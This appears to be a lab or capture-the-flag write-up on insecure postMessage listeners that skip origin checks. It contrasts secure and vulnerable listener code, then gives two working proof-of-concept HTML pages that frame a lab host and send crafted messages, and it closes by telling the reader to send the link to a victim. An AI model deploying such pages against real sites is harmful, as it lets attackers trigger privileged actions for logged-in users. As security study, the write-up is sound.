Skip to main content

insecure-listener-origin-not-checked

Insecure Listener (Origin Not Checked)

What is different from Origin as Wildcard (*)?

Origin as Wildcard (*)This
Vulnerability is in sendingVulnerability is in receiving
postMessage(data, "*")addEventListener("message", ...)
Any site can receive secretsAny site can send commands
Data leaks passivelyAttacker actively triggers behavior

In this, the listener is vulnerable, not the sender.


Concept

The application:

  • Uses window.addEventListener("message", ...)
  • Performs privileged actions (like “share secret”)
  • Does not verify event.origin

This allows any external website to:

  • Embed the vulnerable site
  • Send crafted messages
  • Trigger sensitive functionality

Why this is dangerous

Expected secure behavior
window.addEventListener("message", function(event) {
if (event.origin !== "https://trusted-site.com") return;
handle(event.data);
});
Vulnerable behavior
window.addEventListener("message", function(event) {
handle(event.data);
});
  • No origin check
  • No sender validation
  • Cookies still sent (old browser)

The Attack

  1. Find the vulnerable functions and analyze the flow and what data is being transferred.
  2. Since Listener isnt verifying the origin we can create a index.html like so:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>postMessage String Trigger PoC</title>
</head>
<body>

<h3>Demo postMessage exploit (no origin check + string payload)</h3>
<p>Visiting this page while logged into the target may trigger the action.</p>

<iframe
id="victim"
src="http://ptl-dce00be27062-0fc1275b2bf6.libcurl.me/"
style="width:600px; height:400px; border:2px solid #e74c3c;"
onload="triggerExploit()">
</iframe>

<script>
function triggerExploit() {
console.log("[+] Iframe loaded → sending payload in 2.5s");

setTimeout(() => {
const win = document.getElementById("victim").contentWindow;

if (!win) {
console.error("No contentWindow?");
return;
}

// Primary payload (most common in such labs)
win.postMessage("user=rezydev&id=0", "*");

// Sometimes they accept JSON too – try both
win.postMessage(JSON.stringify({user: "rezydev", id: "0"}), "*");

// Variations seen in labs
const extras = [
"user=rezydev&id=0",
"action=login&user=rezydev&id=0",
{ action: "setUser", user: "rezydev", id: 0 },
"grant=demo&id=0"
];

extras.forEach(p => {
try { win.postMessage(p, "*"); } catch(e) {}
});

console.log("[+] Payloads sent!");
}, 2500);
}

// Optional: listen for response if the vuln sends something back
window.addEventListener("message", e => {
console.log("[Received message]", e.origin, e.data);
// If it leaks something → you might see it here or in network tab
});
</script>

</body>
</html>

minimal.html

<!DOCTYPE html>
<iframe id=f src="http://ptl-dce00be27062-0fc1275b2bf6.libcurl.me/" style="width:100%;height:500px"></iframe>
<script>
setTimeout(()=>{
f.contentWindow.postMessage("user=rezydev&id=0","*");
// optional second try in case it wants JSON
f.contentWindow.postMessage('{"user":"rezydev","id":"0"}',"*");
},2500);
</script>

Save it and send the link to the victim. We should now have gotten the victim to do what we wanted.

success

This is similar to CSRF but for postMessege when origin are not checked.